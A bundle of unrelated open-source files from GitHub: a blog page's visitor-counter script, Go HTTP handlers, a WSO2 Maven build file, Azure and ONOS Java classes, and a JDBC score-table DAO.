src="/js/src/motion.js?v=5.1.2"></script> <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.2"></script> <script type="text/javascript" src="/js/src/post-details.js?v=5.1.2"></script> <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.2"></script> <script type="text/javascript" src="/js/src/post-details.js?v=5.1.2"></script> <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.2"></script> <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script> <script>AV.initialize("MFqtGdjYYn2TkGAr0nIiTDFq-gzGzoHsz", "68HdC3nYALNyPsiJrqD1u2tT");</script> <script> function showTime(Counter) { var query = new AV.Query(Counter); var entries = []; var $visitors = $(".leancloud_visitors"); $visitors.each(function () { entries.push( $(this).attr("id").trim() ); }); query.containedIn('url', entries); query.find() .done(function (results) { var COUNT_CONTAINER_REF = '.leancloud-visitors-count'; if (results.length === 0) { $visitors.find(COUNT_CONTAINER_REF).text(0); return; } for (var i = 0; i < results.length; i++) { var item = results[i]; var url = item.get('url'); var time = item.get('time'); var element = document.getElementById(url); $(element).find(COUNT_CONTAINER_REF).text(time); } for(var i = 0; i < entries.length; i++) { var url = entries[i]; var element = document.getElementById(url); var countSpan = $(element).find(COUNT_CONTAINER_REF); if( countSpan.text() == '') { countSpan.text(0); } } }) .fail(function (object, error) { console.log("Error: " + error.code + " " + error.message); }); } function addCount(Counter) { var $visitors = $(".leancloud_visitors"); var url = $visitors.attr('id').trim(); var title = $visitors.attr('data-flag-title').trim(); var query = new AV.Query(Counter); query.equalTo("url", url); query.find({ success: function(results) { if (results.length > 0) { var counter = results[0]; counter.fetchWhenSave(true); counter.increment("time"); counter.save(null, { success: function(counter) { var $element = $(document.getElementById(url)); $element.find('.leancloud-visitors-count').text(counter.get('time')); }, error: function(counter, error) { console.log('Failed to save Visitor num, with error message: ' + error.message); } }); } else { var newcounter = new Counter(); /* Set ACL */ var acl = new AV.ACL(); acl.setPublicReadAccess(true); acl.setPublicWriteAccess(true); newcounter.setACL(acl); /* End Set ACL */ newcounter.set("title", title); newcounter.set("url", url); newcounter.set("time", 1); newcounter.save(null, { success: function(newcounter) { var $element = $(document.getElementById(url)); $element.find('.leancloud-visitors-count').text(newcounter.get('time')); }, error: function(newcounter, error) { console.log('Failed to create'); } }); } }, error: function(error) { console.log('Error:' + error.code + " " + error.message); } }); } $(function() { var Counter = AV.Object.extend("Counter"); if ($('.leancloud_visitors').length == 1) { addCount(Counter); } else if ($('.post-title-link').length > 1) { showTime(Counter); } }); </script> <script type="text/x-mathjax-config"> MathJax.Hub.Config({ tex2jax: { inlineMath: [ ['$','$'], ["\\(","\\)"] ], processEscapes: true, skipTags: ['script', 'noscript', 'style', 'textarea', 'pre', 'code'] } }); </script> <script type="text/x-mathjax-config"> MathJax.Hub.Queue(function() { var all = MathJax.Hub.getAllJax(), i; for (i=0; i < all.length; i += 1) { all[i].SourceElement().parentNode.className += ' has-jax'; } }); </script> <script type="text/javascript" src="//cdn.bootcss.com/mathjax/2.7.1/latest.js?config=TeX-AMS-MML_HTMLorMML"></script> </body> </html>
{ "content_hash": "34f10eda64ee4cd69eb3f19133cdff09", "timestamp": "", "source": "github", "line_count": 846, "max_line_length": 200, "avg_line_length": 22.418439716312058, "alnum_prop": 0.5316355583676052, "repo_name": "haocen-site/haocen-site.github.io", "id": "6790aecae475509d70fd15688b8e5f4983f0a086", "size": "18975", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "2016/03/16/The-surest-way-to-corrupt-a-youth/index.html", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "57995" }, { "name": "HTML", "bytes": "2618858" }, { "name": "JavaScript", "bytes": "343537" } ], "symlink_target": "" }
package http import ( "context" "go-common/app/interface/main/mcn/model/mcnmodel" "go-common/library/net/http/blademaster" ) func mcnGetMcnGetIndexInc(c *blademaster.Context) { oarg := new(mcnmodel.McnGetIndexIncReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetMcnGetIndexInc(context, arg.(*mcnmodel.McnGetIndexIncReq)) }, "GetMcnGetIndexInc", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetMcnGetIndexSource(c *blademaster.Context) { oarg := new(mcnmodel.McnGetIndexSourceReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetMcnGetIndexSource(context, arg.(*mcnmodel.McnGetIndexSourceReq)) }, "GetMcnGetIndexSource", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetPlaySource(c *blademaster.Context) { oarg := new(mcnmodel.McnGetPlaySourceReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetPlaySource(context, arg.(*mcnmodel.McnGetPlaySourceReq)) }, "GetPlaySource", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetMcnFans(c *blademaster.Context) { oarg := new(mcnmodel.McnGetMcnFansReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetMcnFans(context, arg.(*mcnmodel.McnGetMcnFansReq)) }, "GetMcnFans", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetMcnFansInc(c *blademaster.Context) { oarg := new(mcnmodel.McnGetMcnFansIncReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetMcnFansInc(context, arg.(*mcnmodel.McnGetMcnFansIncReq)) }, "GetMcnFansInc", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetMcnFansDec(c *blademaster.Context) { oarg := new(mcnmodel.McnGetMcnFansDecReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetMcnFansDec(context, arg.(*mcnmodel.McnGetMcnFansDecReq)) }, "GetMcnFansDec", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetMcnFansAttentionWay(c *blademaster.Context) { oarg := new(mcnmodel.McnGetMcnFansAttentionWayReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetMcnFansAttentionWay(context, arg.(*mcnmodel.McnGetMcnFansAttentionWayReq)) }, "GetMcnFansAttentionWay", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetBaseFansAttrReq(c *blademaster.Context) { oarg := new(mcnmodel.McnGetBaseFansAttrReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetBaseFansAttrReq(context, arg.(*mcnmodel.McnGetBaseFansAttrReq)) }, "GetBaseFansAttrReq", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetFansArea(c *blademaster.Context) { oarg := new(mcnmodel.McnGetFansAreaReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetFansArea(context, arg.(*mcnmodel.McnGetFansAreaReq)) }, "GetFansArea", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetFansType(c *blademaster.Context) { oarg := new(mcnmodel.McnGetFansTypeReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetFansType(context, arg.(*mcnmodel.McnGetFansTypeReq)) }, "GetFansType", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) } func mcnGetFansTag(c *blademaster.Context) { oarg := new(mcnmodel.McnGetFansTagReq) httpGetFunc( oarg, func(context context.Context, arg interface{}) (res interface{}, err error) { return srv.GetFansTag(context, arg.(*mcnmodel.McnGetFansTagReq)) }, "GetFansTag", []preBindFuncType{getCookieMid(c, oarg)}, []preHandleFuncType{cheatReq}, )(c) }
{ "content_hash": "cb03b6c39ee32a408c1fca64318c29ac", "timestamp": "", "source": "github", "line_count": 150, "max_line_length": 91, "avg_line_length": 28.80666666666667, "alnum_prop": 0.7329321916223096, "repo_name": "LQJJ/demo", "id": "bfd75d761299a37364a20c4b1806b0a76250503b", "size": "4321", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "126-go-common-master/app/interface/main/mcn/server/http/data.go", "mode": "33261", "license": "apache-2.0", "language": [ { "name": "C", "bytes": "5910716" }, { "name": "C++", "bytes": "113072" }, { "name": "CSS", "bytes": "10791" }, { "name": "Dockerfile", "bytes": "934" }, { "name": "Go", "bytes": "40121403" }, { "name": "Groovy", "bytes": "347" }, { "name": "HTML", "bytes": "359263" }, { "name": "JavaScript", "bytes": "545384" }, { "name": "Makefile", "bytes": "6671" }, { "name": "Mathematica", "bytes": "14565" }, { "name": "Objective-C", "bytes": "14900720" }, { "name": "Objective-C++", "bytes": "20070" }, { "name": "PureBasic", "bytes": "4152" }, { "name": "Python", "bytes": "4490569" }, { "name": "Ruby", "bytes": "44850" }, { "name": "Shell", "bytes": "33251" }, { "name": "Swift", "bytes": "463286" }, { "name": "TSQL", "bytes": "108861" } ], "symlink_target": "" }
<?xml version="1.0" encoding="UTF-8"?> <!-- ~ Copyright (c) 2016, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. ~ ~ WSO2 Inc. licenses this file to you under the Apache License, ~ Version 2.0 (the "License"); you may not use this file except ~ in compliance with the License. ~ You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.wso2</groupId> <artifactId>wso2</artifactId> <version>1</version> </parent> <groupId>org.wso2.carbon.extension.identity.oauth2.grantType.jwt</groupId> <artifactId>identity-inbound-oauth2-grant-jwt</artifactId> <version>1.0.6-SNAPSHOT</version> <packaging>pom</packaging> <name>WSO2 Carbon Extension - JWT Grant Type Pom</name> <url>http://wso2.org</url> <profiles> <profile> <id>default</id> <activation> <activeByDefault>true</activeByDefault> </activation> <modules> <module>component/grant-type</module> <module>feature</module> </modules> </profile> </profiles> <scm> <connection>scm:git:https://github.com/wso2-extensions/identity-oauth2-grant-jwt.git</connection> <url>https://github.com/wso2-extensions/identity-oauth2-grant-jwt.git</url> <developerConnection>scm:git:https://github.com/wso2-extensions/identity-oauth2-grant-jwt.git </developerConnection> <tag>HEAD</tag> </scm> <dependencies> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.idp.mgt</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon</groupId> <artifactId>org.wso2.carbon.logging</artifactId> <version>${commons-logging.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.application.common</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.user.profile</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.user.account.association</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.core</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.application.authentication.framework</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.notification.mgt</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.provisioning</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon</groupId> <artifactId>org.wso2.carbon.core</artifactId> <version>${carbon.kernel.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon</groupId> <artifactId>org.wso2.carbon.user.core</artifactId> <version>${carbon.kernel.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.application.mgt</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.apache.oltu.oauth2</groupId> <artifactId>org.apache.oltu.oauth2.client</artifactId> <version>0.31</version> </dependency> <dependency> <groupId>org.apache.oltu.oauth2</groupId> <artifactId>org.apache.oltu.oauth2.common</artifactId> <version>1.0.1</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.application.authenticator.openid</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.application.authenticator.oidc</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon</groupId> <artifactId>org.wso2.carbon.ui</artifactId> <version>${carbon.kernel.version}</version> </dependency> <dependency> <groupId>org.json.wso2</groupId> <artifactId>json</artifactId> <version>${wso2.json}</version> </dependency> <dependency> <groupId>commons-lang.wso2</groupId> <artifactId>commons-lang</artifactId> <version>${commons-lang.wso2.version}</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>${javax.servlet-api.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>${javax.servelet.jstl.version}</version> </dependency> <dependency> <groupId>commons-codec.wso2</groupId> <artifactId>commons-codec</artifactId> <version>${commons-codec.version}</version> </dependency> <dependency> <groupId>org.apache.ws.commons.axiom</groupId> <artifactId>axiom-api</artifactId> <version>${axiom.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.application.authentication.endpoint.util</artifactId> <version>${carbon.identity.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>com.nimbusds.wso2</groupId> <artifactId>nimbus-jose-jwt</artifactId> <version>${nimbusds.version}</version> </dependency> <dependency> <groupId>org.wso2.orbit.org.apache.oltu.oauth2</groupId> <artifactId>oltu</artifactId> <version>${oltu.version}</version> </dependency> <dependency> <groupId>org.wso2.carbon.identity</groupId> <artifactId>org.wso2.carbon.identity.oauth</artifactId> <version>${carbon.identity.version}</version> </dependency> <dependency> <groupId>org.wso2.securevault</groupId> <artifactId>org.wso2.securevault</artifactId> <version>${org.wso2.securevault.version}</version> <exclusions> <exclusion> <groupId>commons-lang</groupId> <artifactId>commons-lang</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.wso2.orbit.org.owasp.encoder</groupId> <artifactId>encoder</artifactId> <version>${encoder.wso2.version}</version> </dependency> </dependencies> <build> <extensions> <extension> <groupId>org.apache.maven.wagon</groupId> <artifactId>wagon-ssh</artifactId> <version>2.1</version> </extension> </extensions> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-release-plugin</artifactId> <configuration> <preparationGoals>clean install</preparationGoals> <autoVersionSubmodules>true</autoVersionSubmodules> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-deploy-plugin</artifactId> </plugin> <plugin> <groupId>org.jvnet.maven.incrementalbuild</groupId> <artifactId>incremental-build-plugin</artifactId> <version>1.3</version> <executions> <execution> <goals> <goal>incremental-build</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>2.3.1</version> <configuration> <encoding>UTF-8</encoding> <source>1.7</source> <target>1.7</target> </configuration> </plugin> </plugins> <pluginManagement> <plugins> <plugin> <groupId>org.apache.felix</groupId> <artifactId>maven-scr-plugin</artifactId> <version>1.7.2</version> <executions> <execution> <id>generate-scr-scrdescriptor</id> <goals> <goal>scr</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.apache.felix</groupId> <artifactId>maven-bundle-plugin</artifactId> <version>2.3.5</version> <extensions>true</extensions> <configuration> <obrRepository>NONE</obrRepository> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-source-plugin</artifactId> <version>2.1.2</version> <executions> <execution> <id>attach-sources</id> <phase>verify</phase> <goals> <goal>jar-no-fork</goal> </goals> </execution> </executions> </plugin> <plugin> <artifactId>maven-assembly-plugin</artifactId> <version>2.2-beta-2</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-project-info-reports-plugin</artifactId> <version>2.4</version> </plugin> </plugins> </pluginManagement> </build> <pluginRepositories> <pluginRepository> <id>wso2.releases</id> <name>WSO2 internal Repository</name> <url>http://maven.wso2.org/nexus/content/repositories/releases/</url> <releases> <enabled>true</enabled> <updatePolicy>daily</updatePolicy> <checksumPolicy>ignore</checksumPolicy> </releases> </pluginRepository> <pluginRepository> <id>wso2.snapshots</id> <name>Apache Snapshot Repository</name> <url>http://maven.wso2.org/nexus/content/repositories/snapshots/</url> <snapshots> <enabled>true</enabled> <updatePolicy>daily</updatePolicy> </snapshots> <releases> <enabled>false</enabled> </releases> </pluginRepository> <pluginRepository> <id>wso2-nexus</id> <name>WSO2 internal Repository</name> <url>http://maven.wso2.org/nexus/content/groups/wso2-public/</url> <releases> <enabled>true</enabled> <updatePolicy>daily</updatePolicy> <checksumPolicy>ignore</checksumPolicy> </releases> </pluginRepository> </pluginRepositories> <repositories> <repository> <id>wso2-nexus</id> <name>WSO2 internal Repository</name> <url>http://maven.wso2.org/nexus/content/groups/wso2-public/</url> <releases> <enabled>true</enabled> <updatePolicy>daily</updatePolicy> <checksumPolicy>ignore</checksumPolicy> </releases> </repository> <repository> <id>wso2.releases</id> <name>WSO2 internal Repository</name> <url>http://maven.wso2.org/nexus/content/repositories/releases/</url> <releases> <enabled>true</enabled> <updatePolicy>daily</updatePolicy> <checksumPolicy>ignore</checksumPolicy> </releases> </repository> <repository> <id>wso2.snapshots</id> <name>Apache Snapshot Repository</name> <url>http://maven.wso2.org/nexus/content/repositories/snapshots/</url> <snapshots> <enabled>true</enabled> <updatePolicy>daily</updatePolicy> </snapshots> <releases> <enabled>false</enabled> </releases> </repository> </repositories> <distributionManagement> <repository> <id>nexus-releases</id> <name>WSO2 Release Distribution Repository</name> <url>http://maven.wso2.org/nexus/service/local/staging/deploy/maven2/</url> </repository> <snapshotRepository> <id>wso2.snapshots</id> <name>Apache Snapshot Repository</name> <url>http://maven.wso2.org/nexus/content/repositories/snapshots/</url> </snapshotRepository> </distributionManagement> <properties> <carbon.identity.version>5.0.7</carbon.identity.version> <commons-logging.version>4.4.3</commons-logging.version> <carbon.kernel.version>4.4.3</carbon.kernel.version> <org.apache.oltu.oauth2.client.version>1.0.0</org.apache.oltu.oauth2.client.version> <oltu.package.import.version.range>[1.0.0, 2.0.0)</oltu.package.import.version.range> <wso2.json>3.0.0.wso2v1</wso2.json> <javax.servlet-api.version>3.0-alpha-1</javax.servlet-api.version> <javax.servelet.jstl.version>1.2</javax.servelet.jstl.version> <commons-codec.version>1.4.0.wso2v1</commons-codec.version> <axiom.version>1.2.11-wso2v6</axiom.version> <org.wso2.securevault.version>1.0.0-wso2v2</org.wso2.securevault.version> <commons-lang.wso2.version>2.6.0.wso2v1</commons-lang.wso2.version> <encoder.wso2.version>1.2.0.wso2v1</encoder.wso2.version> <nimbusds.version>2.26.1.wso2v2</nimbusds.version> <oltu.version>1.0.0.wso2v3</oltu.version> <carbon.identity.package.import.version.range>[5.0.0, 6.0.0)</carbon.identity.package.import.version.range> <carbon.kernel.package.import.version.range>[4.4.0, 5.0.0)</carbon.kernel.package.import.version.range> <nimbusds.osgi.version.range>[2.26.1,3.0.0)</nimbusds.osgi.version.range> <commons-logging.osgi.version.range>[1.2,2.0)</commons-logging.osgi.version.range> <commons-lang.wso2.osgi.version.range>[2.6.0,3.0.0)</commons-lang.wso2.osgi.version.range> <net.minidev.json.imp.pkg.version.range>[1.3.0, 2.0.0)</net.minidev.json.imp.pkg.version.range> </properties> </project>
{ "content_hash": "a0c1b283827c31b5a14fd34471ab3ef8", "timestamp": "", "source": "github", "line_count": 403, "max_line_length": 201, "avg_line_length": 42.903225806451616, "alnum_prop": 0.5628108733371892, "repo_name": "keerthu/identity-oauth2-grant-jwt", "id": "6b571741ce7511ea5429f2811fac8744ec66c50d", "size": "17290", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "pom.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "34330" } ], "symlink_target": "" }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.mysql.generated; import com.azure.core.util.Context; /** Samples for VirtualNetworkRules Delete. */ public final class VirtualNetworkRulesDeleteSamples { /* * x-ms-original-file: specification/mysql/resource-manager/Microsoft.DBforMySQL/stable/2017-12-01/examples/VirtualNetworkRulesDelete.json */ /** * Sample code: Delete a virtual network rule. * * @param manager Entry point to MySqlManager. */ public static void deleteAVirtualNetworkRule(com.azure.resourcemanager.mysql.MySqlManager manager) { manager.virtualNetworkRules().delete("TestGroup", "vnet-test-svr", "vnet-firewall-rule", Context.NONE); } }
{ "content_hash": "28a18a887e8b3a178497b7a0b3272d58", "timestamp": "", "source": "github", "line_count": 22, "max_line_length": 142, "avg_line_length": 38.86363636363637, "alnum_prop": 0.7380116959064328, "repo_name": "Azure/azure-sdk-for-java", "id": "8225e713852e87496246fc28959933c5786b5863", "size": "855", "binary": false, "copies": "1", "ref": "refs/heads/main", "path": "sdk/mysql/azure-resourcemanager-mysql/src/samples/java/com/azure/resourcemanager/mysql/generated/VirtualNetworkRulesDeleteSamples.java", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "8762" }, { "name": "Bicep", "bytes": "15055" }, { "name": "CSS", "bytes": "7676" }, { "name": "Dockerfile", "bytes": "2028" }, { "name": "Groovy", "bytes": "3237482" }, { "name": "HTML", "bytes": "42090" }, { "name": "Java", "bytes": "432409546" }, { "name": "JavaScript", "bytes": "36557" }, { "name": "Jupyter Notebook", "bytes": "95868" }, { "name": "PowerShell", "bytes": "737517" }, { "name": "Python", "bytes": "240542" }, { "name": "Scala", "bytes": "1143898" }, { "name": "Shell", "bytes": "18488" }, { "name": "XSLT", "bytes": "755" } ], "symlink_target": "" }
package org.onosproject.bgpio.types; import java.util.Objects; import org.jboss.netty.buffer.ChannelBuffer; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.google.common.base.MoreObjects; /** * Provides AreaID Tlv which contains opaque value (32 Bit Area-ID). */ public class AreaIDTlv implements BGPValueType { /* Reference :draft-ietf-idr-ls-distribution-11 * 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type= 514 | Length=4 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | opaque value (32 Bit Area-ID) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */ protected static final Logger log = LoggerFactory.getLogger(AreaIDTlv.class); public static final short TYPE = 514; public static final short LENGTH = 4; private final int areaID; /** * Constructor to initialize areaID. * * @param areaID of BGP AreaID Tlv */ public AreaIDTlv(int areaID) { this.areaID = areaID; } /** * Returns object of this class with specified areaID. * * @param areaID opaque value of area id * @return object of AreaIDTlv */ public static AreaIDTlv of(final int areaID) { return new AreaIDTlv(areaID); } /** * Returns opaque value of area id. * * @return opaque value of area id */ public int getAreaID() { return areaID; } @Override public int hashCode() { return Objects.hash(areaID); } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (obj instanceof AreaIDTlv) { AreaIDTlv other = (AreaIDTlv) obj; return Objects.equals(areaID, other.areaID); } return false; } @Override public int write(ChannelBuffer c) { int iLenStartIndex = c.writerIndex(); c.writeShort(TYPE); c.writeShort(LENGTH); c.writeInt(areaID); return c.writerIndex() - iLenStartIndex; } /** * Reads the channel buffer and returns object of AreaIDTlv. * * @param cb ChannelBuffer * @return object of AreaIDTlv */ public static AreaIDTlv read(ChannelBuffer cb) { return AreaIDTlv.of(cb.readInt()); } @Override public short getType() { return TYPE; } @Override public String toString() { return MoreObjects.toStringHelper(getClass()) .add("Type", TYPE) .add("Length", LENGTH) .add("Value", areaID) .toString(); } }
{ "content_hash": "7bb3080675090696d7d5cb5993670762", "timestamp": "", "source": "github", "line_count": 112, "max_line_length": 81, "avg_line_length": 25.821428571428573, "alnum_prop": 0.5200553250345782, "repo_name": "packet-tracker/onos-1.4.0-custom-build", "id": "52bae466e51ee7390efbe04d37127fa23befd73e", "size": "3501", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "bgp/bgpio/src/main/java/org/onosproject/bgpio/types/AreaIDTlv.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "404817" }, { "name": "HTML", "bytes": "26184452" }, { "name": "Java", "bytes": "13636641" }, { "name": "JavaScript", "bytes": "7639860" }, { "name": "Shell", "bytes": "2625" } ], "symlink_target": "" }
package org.onosproject.yms.ypm; import org.onosproject.yms.ydt.YdtContext; /** * Abstraction of an entity which provides interfaces to YANG Protocol Metadata Manager. */ public interface YpmService { /** * Returns the protocol data stored in sepecific data model path. * * @param rootNode YANG data tree * @return YANG protocol metadata */ YpmContext getProtocolData(YdtContext rootNode); /** * Sets the YANG protocol metadata in specific ydt path in ypm tree. * * @param rootNode YANG data tree * @param data YANG protocol metadata */ void setProtocolData(YdtContext rootNode, Object data); }
{ "content_hash": "8e50a92455e82f28e2a685562a1ac695", "timestamp": "", "source": "github", "line_count": 27, "max_line_length": 88, "avg_line_length": 24.77777777777778, "alnum_prop": 0.6890881913303438, "repo_name": "LorenzReinhart/ONOSnew", "id": "18ecd8af5182ed034f802a69c13997f9af937b37", "size": "1286", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "apps/yms/api/src/main/java/org/onosproject/yms/ypm/YpmService.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "224030" }, { "name": "HTML", "bytes": "108368" }, { "name": "Java", "bytes": "34148438" }, { "name": "JavaScript", "bytes": "3833411" }, { "name": "Protocol Buffer", "bytes": "13730" }, { "name": "Python", "bytes": "185205" }, { "name": "Shell", "bytes": "2594" } ], "symlink_target": "" }
package com.team.blaze.dao; import com.team.blaze.exceptions.ExceptionLogger; import com.team.blaze.models.Player; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; public class ScoreDAOJDBC extends DAO implements ScoreDAO { private final DAOFactory daoFactory; private final String SQL_INSERT_PLAYER = "INSERT INTO player (player.id, player.name, player.score) VALUES (?, ?, ?)"; private final String SQL_LIST_ALL_PLAYERS = "SELECT * FROM player ORDER BY player.score DESC, player.name LIMIT 0,10"; private final String SQL_DELETE_PLAYER = "DELETE FROM player WHERE player.id = ?"; public ScoreDAOJDBC(DAOFactory daoFactory) { this.daoFactory = daoFactory; } private Player mapPlayer(ResultSet resultSet) throws SQLException { long id = resultSet.getLong("player.id"); String name = resultSet.getString("player.name"); int score = resultSet.getInt("player.score"); return new Player(id, score, name); } @Override public void createPlayer(Player player) { Object[] values = { }; try (Connection connection = daoFactory.getConnection()) { try (PreparedStatement preparedStatement = prepareStatement(connection, SQL_INSERT_PLAYER, true, values)) { int affectedRows = preparedStatement.executeUpdate(); if (affectedRows == 0) { throw new SQLException("Creating player failed, no rows affected."); } try (ResultSet resultSet = preparedStatement.getGeneratedKeys()) { if (resultSet.next()) { player.setPlayerId(resultSet.getLong(1)); } else { throw new SQLException("Creating player failed, no generated key obtained."); } } } } catch (SQLException exception) { ExceptionLogger.Log(exception); } } @Override public void deletePlayer(Player player) { Object[] values = { player.getPlayerId() }; try (Connection connection = daoFactory.getConnection()) { try (PreparedStatement preparedStatement = prepareStatement(connection, SQL_DELETE_PLAYER, false, values)) { int affectedRows = preparedStatement.executeUpdate(); if (affectedRows == 0) { throw new SQLException("Deleting play failed, no rows affected."); } else { player = null; } } } catch (SQLException exception) { ExceptionLogger.Log(exception); } } @Override public List<Player> listAllPlayers() { List<Player> players = new ArrayList<>(); try (Connection connection = daoFactory.getConnection()) { try (PreparedStatement preparedStatement = connection.prepareStatement(SQL_LIST_ALL_PLAYERS)) { try (ResultSet resultSet = preparedStatement.executeQuery()) { while (resultSet.next()) { players.add(mapPlayer(resultSet)); } } } } catch (SQLException e) { ExceptionLogger.Log(e); } return players; } }
